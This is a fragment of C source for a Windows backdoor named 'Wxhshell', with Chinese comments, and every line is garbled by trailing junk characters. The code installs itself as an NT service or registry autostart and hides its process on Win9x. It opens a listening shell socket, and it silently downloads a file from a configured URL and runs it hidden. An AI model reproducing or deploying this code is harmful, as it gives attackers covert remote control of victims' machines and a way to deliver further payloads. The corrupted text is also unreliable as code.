} PROCESS_BASIC_INFORMATION; rl0|)j
NNTUl$
PROCNTQSIP NtQueryInformationProcess; ,^m;[Dl7
\1H~u,a
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IS[&V&.n
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -+H?0XN
"l7))>lL
HANDLE hProcess; dp=#|!jc
PROCESS_BASIC_INFORMATION pbi; +}Q@{@5w
]ff5MY 36
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,Srj38p
if(NULL == hInst ) return 0; +=JJ=F)
us2RW<Oxv
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AfqthI$*m
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H]a@"gO
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =.9uuF:
/)LI1\o
if (!NtQueryInformationProcess) return 0; r)/nx@x
:dM
eNM-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O~L/>Ya
if(!hProcess) return 0; iI@m e=
ZL^
svGy
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "<^]d~a_
t9Y?0O}/
CloseHandle(hProcess); j{ :>"6
_N2tf/C&=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /2jw]ekQ'
if(hProcess==NULL) return 0; Y?b4* me
@`S8d%6P
HMODULE hMod; sncc DuS
char procName[255]; dZi?Z
unsigned long cbNeeded; +1(L5Do}
uHu (
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TxDzGC
g0M9v]c
CloseHandle(hProcess); 5IfyD ]<
tI;pdR]
if(strstr(procName,"services")) return 1; // 以服务启动
#->#mshd4
qFwJ%(IQ
return 0; // 注册表启动 r[votdFo
} ~L3]Wa.
@,%IVKg\
// 主模块 18{" @<wIs
int StartWxhshell(LPSTR lpCmdLine) -<RG'I~
{ Smjg[
SOCKET wsl; 48t_?2>
BOOL val=TRUE; *j/[5J0'M
int port=0; /GDGE }
struct sockaddr_in door; ET:B"
!ZC0 n`
if(wscfg.ws_autoins) Install(); +~] :oj
0oU;Cmw.
port=atoi(lpCmdLine); LI/;`Y=
f6O5k8n
if(port<=0) port=wscfg.ws_port; VsTa!V^~
,^d!K(xb
WSADATA data; yG%<LP2p@f
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W%.ou\GN^t
}ki}J >j|f
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; g#b uy
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SPEDN}/^
door.sin_family = AF_INET; =3=
$F%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); d(>
door.sin_port = htons(port); )?qH#>mD6
tMQz'3,X
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qk_`IlSd
closesocket(wsl); I[$SVPe#
return 1; 9YjO
} e|&}{JP{[
#Emz9qTsce
if(listen(wsl,2) == INVALID_SOCKET) { SGUu\yS&s
closesocket(wsl); LnY`f -H
return 1; [Dou%\
} b( qO fek
Wxhshell(wsl); ]%8f-_fSy
WSACleanup(); ;;cPt44s
Y#[>j4<T
return 0; bo%v(
oY$L
} fj,]dQT
<z+b88D
// 以NT服务方式启动 8 ta`sNy9
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sKU?"|G81G
{ ]0yYMnqvr
DWORD status = 0; |fTWf}Jx
DWORD specificError = 0xfffffff; @Y8/#6KE
;p U=>
serviceStatus.dwServiceType = SERVICE_WIN32; ~~D
=Z#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; u>U4w68
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \XI9 +::%
serviceStatus.dwWin32ExitCode = 0; 057$b!A-a
serviceStatus.dwServiceSpecificExitCode = 0; gY=Ry=w9
serviceStatus.dwCheckPoint = 0; JMa[Ulz
serviceStatus.dwWaitHint = 0; rDvz2p"R
; Da[jFP
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yxpDQO~x
if (hServiceStatusHandle==0) return; y!;PBsU%Sx
b}OOG
status = GetLastError(); ~BJ~]~0P`
if (status!=NO_ERROR) ['l.]k-b}
{ acdWU"<
serviceStatus.dwCurrentState = SERVICE_STOPPED; [q5N 4&q\
serviceStatus.dwCheckPoint = 0; *wOuw@09
serviceStatus.dwWaitHint = 0; :>t^B+
serviceStatus.dwWin32ExitCode = status; 1FO T
serviceStatus.dwServiceSpecificExitCode = specificError; >tFv&1iR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); NcVsQV
return; Y3J;Kk#AH
} "Nx3_mQ
14,Pf`5Sz
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'z}Hg
*
serviceStatus.dwCheckPoint = 0; }CyS_Tc
serviceStatus.dwWaitHint = 0; 6-w'? G37
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N1Pm4joH%
} -<0PBl
Q:#Kt@W
// 处理NT服务事件,比如:启动、停止 V&>\U?q:
VOID WINAPI NTServiceHandler(DWORD fdwControl) J"TM[4^\Y
{ ,@b7N[h
switch(fdwControl) #ErIot
{ 5cza0CriJ
case SERVICE_CONTROL_STOP: RC']"jpW
serviceStatus.dwWin32ExitCode = 0; d'yA"b]
serviceStatus.dwCurrentState = SERVICE_STOPPED; $)fybnY
serviceStatus.dwCheckPoint = 0; EC6Q<&]Iw
serviceStatus.dwWaitHint = 0; Wveba)"$
{ ydyGPZt
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1>!wm0;x
} v-J9N(y"
return; x`#|8
case SERVICE_CONTROL_PAUSE: yQXHEB
serviceStatus.dwCurrentState = SERVICE_PAUSED; RXj6L~vs5_
break; z U~o"Jv
case SERVICE_CONTROL_CONTINUE: ^S'#)H-8C3
serviceStatus.dwCurrentState = SERVICE_RUNNING; C;3>q*Am4
break; =CE(M},d
case SERVICE_CONTROL_INTERROGATE: fzVU9BU
break; ZPISclSA+
}; )E2^G)J$W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i{$h]D_fD
} ,z1fiq
>,JA=s
// 标准应用程序主函数 kZ0|wML8
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bxS+ R\
{ UW%.G
gtBnP~zT\B
// 获取操作系统版本 1;4]
HNI
OsIsNt=GetOsVer(); t`XYY
GetModuleFileName(NULL,ExeFile,MAX_PATH); nnZ|oEF
H$/r{gfg^
// 从命令行安装 h]#wwJF
if(strpbrk(lpCmdLine,"iI")) Install(); 7fOk]Yl[
tv+H4/
// 下载执行文件 | Ts0h?"a
if(wscfg.ws_downexe) { =7Wr
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g`skmHS89
WinExec(wscfg.ws_filenam,SW_HIDE); V|h/a\P
} t1I` n(]n
+6xEz67A<
if(!OsIsNt) { dUTF0U
// 如果时win9x,隐藏进程并且设置为注册表启动 73C
HideProc(); AV0C9a/td
StartWxhshell(lpCmdLine); 1f"LAs`%
} ![v@+9
else w;;.bz m
if(StartFromService()) -cjwa-9
~
// 以服务方式启动 F_Q?0 Do0'
StartServiceCtrlDispatcher(DispatchTable); $=?CW(
else :PrQ]ss@C5
// 普通方式启动 !U@?Va~Zn
StartWxhshell(lpCmdLine); W|PKcZ ]Uc
WaVP+Ap
return 0; 0wzq{~\{=_
}